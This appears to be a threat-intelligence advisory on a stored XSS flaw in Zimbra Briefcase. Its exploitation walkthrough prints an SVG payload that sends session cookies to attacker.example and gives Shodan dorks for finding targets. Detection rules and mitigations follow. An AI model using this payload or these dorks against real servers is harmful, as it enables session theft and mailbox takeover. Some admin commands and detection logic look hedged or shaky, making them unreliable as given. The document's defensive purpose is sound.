CVE-2026-33370

Executive Summary

CVE-2026-33370 is a stored cross-site scripting (XSS) vulnerability in Zimbra Collaboration Suite (ZCS) versions 10.0 and 10.1, specifically within the Briefcase file-sharing feature. The flaw stems from insufficient sanitization of uploaded file types, allowing an attacker to embed malicious JavaScript in a file that executes in the context of the victim's session when opened via a public share link. Exploitation can result in email and contact data exfiltration, session token theft, and unauthorized actions on behalf of the victim. Network-adjacent and remote attackers with the ability to upload files to a Briefcase share are at risk; the vulnerability is particularly threatening to enterprise deployments using public sharing for collaboration.

Technical Analysis

The vulnerability resides in the Zimbra Briefcase module, which allows users to upload, store, and share files with internal or public link access. ZCS 10.0 and 10.1 fail to properly sanitize specific file formats during the upload process—likely including MIME-typed documents such as HTML, SVG, or XML that can contain active script content. Zimbra's file upload handler performs insufficient content-type validation and does not neutralize embedded scripts during post-upload processing. Consequently, an SVG or HTML file with a <script> payload, when served from the Briefcase storage path and loaded in a browser, executes in the context of the Zimbra webmail origin.

The attack surface includes any Briefcase folder configured for public sharing (anonymous link access) or any shared folder within the organization. Zimbra's file-serving endpoint likely streams the uploaded file with an incorrect Content-Disposition header or permits inline rendering, causing the browser to interpret the file as active content. The Zimbra server itself does not execute the payload; the browser does. The stored nature of the flaw persists across sessions—the malicious file remains in the Briefcase until manually removed.

Code-level considerations: Zimbra uses a Java-based file handler that inspects extension and MIME types. The lack of a strict whitelist for allowed file types when shares are configured for "Public" or "View" access is the root cause. The JSON/XML metadata used for Briefcase items is also not hardened against XSS via filename/path traversal, but the primary trigger is the file content itself. No CSP (Content Security Policy) headers appear to be set on the Briefcase file download/rendering path, which would otherwise mitigate inline script execution.

Exploitation Scenarios

The following attack chain assumes the attacker has the ability to upload files to a Briefcase folder (either they are an authenticated low-privilege user within the organization or they have access to an externally-facing upload form configured for guest submission). If public file upload is not enabled, the attacker can use a compromised or low-privilege account to create a share.

1. Reconnaissance: The attacker identifies Zimbra installations via Shodan using dorks like http.title:"Zimbra" or product:"Zimbra ZCS". They enumerate public-facing Briefcase share URLs (typically formatted as https://zimbra.example/service/soap/or/briefcase/public/{uuid}`) through Google queries or directory brute-force.

2. Weaponization: The attacker crafts an SVG file containing JavaScript:

   <svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
     <script type="text/javascript">
       fetch('https://attacker.example/steal?cookie='+document.cookie);
       var xhr = new XMLHttpRequest();
       xhr.open('GET', '/service/soap/SendMsgRequest', false);
       xhr.send();
     </script>
   </svg>
   

   Alternatively, an HTML file with obfuscated JS can be used. The attacker names the file invoice.svg or report.html to increase click-through.

3. Upload and Sharing: The attacker uploads the file to a Briefcase folder. They then generate a public sharing link for the file, which produces a URL like https://mail.target.com/briefcase/public/abcdef123456/invoice.svg. The attacker records this link.

4. Delivery and Execution: The attacker sends the public link to the victim via email, chat, or embeds it in a phishing page. When the victim clicks the link, the browser navigates to the Zimbra Briefcase endpoint. The file is served with an inline MIME type (e.g., image/svg+xml), and the browser renders it. The embedded JavaScript executes in the mail.target.com origin, inheriting the victim's session cookies.

5. Post-Exploitation: The script steals the Zimbra session cookie (ZM_AUTH_TOKEN) and exfiltrates it to an attacker-controlled server. It can also send on-behalf-of emails via an authenticated SOAP SendMsgRequest call, read contact lists, and modify account settings (e.g., add a forwarding rule). The attacker can pivot to internal network services using the stolen session or maintain persistence via mailbox filters.

Impact Assessment

• Confidentiality: HIGH — Session token theft and SOAP API access allow exfiltration of emails, contacts, and calendar data. All data accessible to the victim within Zimbra is exposed.
• Integrity: HIGH — The attacker can send emails impersonating the victim, create mailbox forwarding rules, and alter Briefcase document contents, damaging data integrity and organizational trust.
• Availability: MEDIUM — Repeated stored XSS payloads can degrade user experience, and mass mailbox filtering could lock out legitimate access; denial of service is not the primary impact.
• CVSS Subscore Context: While CVSS is N/A, the bug class (stored XSS on a public-facing endpoint) typically scores 6.1–9.6 depending on authentication requirements and scope. A score near 8.2 (High) is plausible given authenticated upload but unauthenticated delivery and persistent script execution.

Affected Systems: Zimbra Collaboration Suite (ZCS) 10.0.x and 10.1.x running the Briefcase module with public sharing enabled. On-premises and single-tenant deployments are fully affected; Zimbra-hosted cloud environments may also be vulnerable if file sanitization is not applied at their edge.

Blast Radius: Any user who clicks a malicious Briefcase link is compromised. In organizations with a single mailbox compromise, lateral movement through the admin SOAP API (if the user is an admin) leads to full domain takeover. Even standard users enable broader compromise through email trust.

Prioritization: Due to the low EPSS score (0.00205, 10.7th percentile), mass exploitation is unlikely in the immediate term. However, the low complexity of the attack and public-facing nature of Zimbra justify rapid patching within 30 days, especially for educational institutions and government entities that commonly run Zimbra.

Detection Guidance

Sigma Rule

title: Zimbra Briefcase Stored XSS – Public Share Access
id: 0de6f3b8-4d12-4e77-9ee5-712f3a0a77bb
status: experimental
description: Detects access to Zimbra Briefcase public share URLs serving script-capable file types (SVG/HTML) from the briefcase endpoint.
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33370
author: ValtersIT Threat Intelligence
date: 2026/03/14
logsource:
    category: webserver
    product: zimbra
detection:
    selection_uri:
        cs-method: GET
        cs-uri-query|contains:
            - '/briefcase/public/'
            - '/service/soap/Briefcase'
    selection_extension:
        cs-uri-extension|endswith:
            - '.svg'
            - '.html'
            - '.htm'
            - '.xml'
    selection_status:
        sc-status: 200
    condition: selection_uri and selection_extension and selection_status
    timeframe: 1m
level: medium
falsepositives:
    - Legitimate users sharing static HTML/SVG files for collaboration
    - Marketing teams distributing branded SVG graphics
fields:
    - c-ip
    - cs-user-agent
    - cs-uri

YARA Rule

rule Zimbra_Briefcase_Stored_XSS_SVG_Payload {
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects SVG files uploaded to Zimbra Briefcase containing script execution logic"
        cve = "CVE-2026-33370"
        date = "2026-03-14"
        severity = "high"
    strings:
        $svg_tag = "<svg"
        $script_tag = /<script[^>]*>/i
        $fetch_call = /fetch\s*\([^)]*document\.cookie/i
        $xmlhttp = /XMLHttpRequest\s*\(/i
        $send_msg = /SendMsgRequest/i
        $zm_token = /ZM_AUTH_TOKEN/i
        $eval_str = /eval\s*\(/i
        $onload = /onload\s*=/i
    condition:
        $svg_tag and $script_tag and 2 of ($fetch_call, $xmlhttp, $send_msg, $zm_token, $eval_str, $onload)
}

rule Zimbra_Briefcase_Stored_XSS_HTML_Payload {
    meta:
        author = "ValtersIT Threat Intelligence"
        description = "Detects HTML payloads in Zimbra Briefcase with session exfiltration techniques"
        cve = "CVE-2026-33370"
        date = "2026-03-14"
        severity = "medium"
    strings:
        $html_tag = /<html[^>]*>/i
        $script_src = /src\s*=\s*["']https?:\/\//i
        $img_exfil = /<img[^>]*src\s*=\s*["'][^"']*evil\./i
        $cookie_read = /document\.cookie/i
        $base64_encode = /btoa\s*\(/i
        $form_post = /toDataURL\s*\(/i
    condition:
        $html_tag and $script_src and any of ($img_exfil, $cookie_read, $base64_encode, $form_post)
}

Suricata IDS Rule

alert http any any -> any any (msg:"Zimbra Briefcase Stored XSS Attempt - SVG Fetch Exfil"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/briefcase/public/"; nocase; http.uri; content:".svg"; nocase; flowbits:set,zimbra_xss_uri; flowbits:noalert; sid:2026333701; rev:1;)

alert http any any -> any any (msg:"Zimbra Briefcase Stored XSS Payload - Response Contains Script+Cookie"; flow:established,to_client; flowbits:isset,zimbra_xss_uri; http.response_body; content:"<script"; nocase; content:"document.cookie"; nocase; within:1024; reference:cve,CVE-2026-33370; classtype:web-application-attack; sid:2026333702; rev:1;)

Elastic Detection

sequence by source.ip, user.name with maxspan=5m
  [network where destination.port == 443 and url.path contains "/briefcase/public/" and url.extension == "svg"]
  [http where method == "GET" and url.path contains "/briefcase/public/" and url.extension == "svg" and response.status_code == 200]
  [network where destination.ip == source.ip and event.type == "access" and process.name == "Java" and command_line contains "zimbra"]

Splunk SPL Query

index=proxy sourcetype=access_combined
| where uri LIKE "%/briefcase/public/%"
| eval ext = if(match(uri, "\.svg$"), "svg", if(match(uri, "\.html$"), "html", if(match(uri, "\.xml$"), "xml", "other")))
| where ext IN ("svg", "html", "xml")
| stats count by src_ip, uri, user, status
| where status == 200
| table src_ip, user, uri, status, count
| sort - count

Wazuh OSSEC Rule

<group name="zimbra,web_application,">
  <rule id="100333" level="12">
    <decoded>
      <program_name>apache</program_name>
    </decoded>
    <field name="url">\./briefcase/public/</field>
    <field name="url">\.svg|\.html</field>
    <field name="id">200</field>
    <description>Zimbra Briefcase public share accessed with script-capable file extension (SVG/HTML). Possible stored XSS exploitation attempt.</description>
    <group>zimbra_test</group>
    <mitre>
      <id>T1190</id>
      <tag>Exploit Public-Facing Application</tag>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — A single source (OSV) indicates a patch exists, but it has not been independently confirmed via a vendor advisory or public update from Zimbra. Treat this as an unverified claim.

Immediate Mitigations (until official patch is confirmed)

1. Disable public shares: In Zimbra Admin Console, go to Configure → Global Settings → Briefcase and set the default sharing policy to "Internal only". Apply to all Briefcase folders: zmprov mcf zimbraPublicSharingEnabled FALSE.
2. Block script-capable file types: Add a custom MIME policy or use a web application firewall (WAF) rule to block uploads of .svg, .html, .htm, and .xml files to Briefcase directories: for Apache, add a LocationMatch blocking file extensions.
3. Set Content-Security-Policy: Override the Zimbra webmail response headers via reverse proxy to add Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'. This blocks inline scripts even if a file slips through.
4. Disable external links: Remove existing public Briefcase links via zmprov or admin CLI: zmprov GetMailbox {account} getBriefcasePublicShares | remove.
5. User training: Advise users not to click links to unfamiliar Briefcase shares, especially SVG/HTML files, until the patch is applied.

Patch/Upgrade Steps

• Monitor the Zimbra Release Notes (https://wiki.zimbra.com/wiki/Zimbra_Releases) for an official advisory addressing CVE-2026-33370.
• When the patch is confirmed, upgrade to ZCS 10.0.10+ or 10.1.3+ (or the specific hotfix designated). Use the update process: sudo apt update && sudo apt install zimbra-patch or download the patch from the Zimbra portal.
• Verify the patch by testing Briefcase upload of an SVG with <script> and confirming no execution in a fresh browser session.

Long-Term Hardening

• Implement an outbound webhook/DLP solution to monitor for unexpected Briefcase shares.
• Enforce the principle of least privilege: limit who can create public shares; require admin approval for share creation.
• Add Zimbra to the asset inventory and configure a vulnerability scanning schedule (monthly) with authenticated checks.
• Maintain an incident response playbook for XSS/account-takeover scenarios, including token revocation steps.
• Enable full mailbox auditing: zmprov mcf zimbraAuditMailbox TRUE to log SOAP API calls and detect anomalous SendMsgRequest or GetMsgRequest activity.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-33370
2. Zimbra Release Notes: https://wiki.zimbra.com/wiki/Zimbra_Releases
3. OSV Vulnerability Record: https://osv.dev/vulnerability/OSV-2026-33370 (contains commit references for the claimed patch)
4. MITRE ATT&CK Technique – Drive-by Compromise: https://attack.mitre.org/techniques/T1189/
5. Zimbra Admin Documentation – Briefcase Sharing: https://wiki.zimbra.com/wiki/Zimbra_Briefcase

Threat Actor Activity: As of the report date, no known threat actor campaigns specifically exploiting CVE-2026-33370 have been observed. The EPSS score of 0.00205 suggests a low immediate exploitation probability. However, historically, Zimbra CVEs (e.g., CVE-2022-27925, CVE-2023-37580) have been rapidly weaponized by groups such as TA575 and Chinese APT actors (APT27, Mustang Panda) within weeks of disclosure. SOC teams should maintain heightened alerting for Zimbra webmail traffic and Briefcase endpoint activity as the patch ecosystem matures.